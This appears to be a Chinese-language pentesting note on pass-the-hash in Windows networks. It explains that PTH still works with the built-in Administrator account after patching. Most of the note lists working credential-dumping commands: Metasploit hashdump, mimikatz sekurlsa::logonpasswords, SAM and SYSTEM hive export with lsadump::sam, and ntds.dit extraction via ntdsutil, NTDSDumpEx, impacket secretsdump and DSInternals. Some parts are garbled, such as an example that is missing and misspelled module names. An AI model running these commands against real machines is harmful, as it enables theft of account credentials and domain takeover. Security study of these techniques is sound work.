零:哈希传递是什么?
当我们进行内网渗透的时候,常常会使用mimikatz获取内存中的密码凭据,而对于某些情况,(例如win-server2012默认配置,hash解不开)我们并不能获取其中的明文凭据,而是只能获取它的hash密码,因此,PTH(哈希传递)就显得特别有用。
微软也对pth打过补丁,然而在测试中发现,在打了补丁后,常规的Pass The Hash已经无法成功,唯独默认的Administrator(SID 500)账号例外,利用这个账号仍可以进行Pass The Hash远程ipc连接。**
一、Windows下的Hash密码格式为:
用户名:RID :LM-HASH:NT-HASH 例如以下格式:
LMhash现在已经被默认禁止
二、单机获取HASH的几种方式(当然不止这几种)
1、msf使用hashdump获取
1.1 直接输入hashdump 1.2 run post/windows/gather/hashdmup 1.3 run post/windows/gather/smart_hashdmup 它的执行过程,为什么叫Smart的原因
2、Mimikatz:
1、直接获取**
privilege::debug
sekurlsa::logonpasswords
2、从注册表导出再用
reg save HKLM\SYSTEM SYSTEM reg save HKLM\SAM SAM使用mimikatz提取hash: lsadump::sam /sam:SAM /system:SYSTEM
** 3、wce -w / -l 获取hash**<br /> ** 4、nishang的Get-passhashes.ps1脚本**
5、PwDump7 没用过
https://blog.csdn.net/tonghua6/article/details/45154317
6、Quarks PwDump 没用过
https://www.webshell.cc/4625.html
三、DC获取Hash——ntds.dit
除了以上的单机获取密码hash的各种方式,针对DC还有以下的方式
ntdsutil “ac i ntds” ifm “create full c:\users\tmp” q q
之后会生成以下文件 获取ntsd.dit的方式:https://xz.aliyun.com/t/2187
开始利用上述文件获取hash
1、下载工具 [https://github.com/zcgonvh/NTDSDumpEx/releases](https://github.com/zcgonvh/NTDSDumpEx/releases)<br /> NTDSDumpEx -d ntds.dit -s system -o domain.txt
2、使用python impacket模块下的secretsdump.py <br /> -system:表示系统hive文件的路径(SYSTEM)<br /> -ntds:表示dit文件的路径(ntds.dit)<br /> python secretsdump.py -system SYSTEM -ntds ntds.dit local<br /> <br /> 3、DSinternals Powershell脚本<br /> 下载工具:[https://github.com/MichaelGrafnetter/DSInternals](https://github.com/MichaelGrafnetter/DSInternals)
3.1Powershell导入 Save-Module DSInternals -Path C:\Windows\System32\WindowsPowershell\v1.0\Modules Install-Module DSInternals Import-Module DSInternals 3.2指定SYSTEM的路径 Get-Bootkey -SystemHivePath ‘C:\Users\sanje\Desktop\NTDS\SYSTEM’ 3.3指定ntds.dit破解 Get-ADDBAccount -All -DBPath ‘C:\Users\sanje\Desktop\NTDS\ntds.dit’ -Bootkey $key
4、Windows Password Recovery 没用过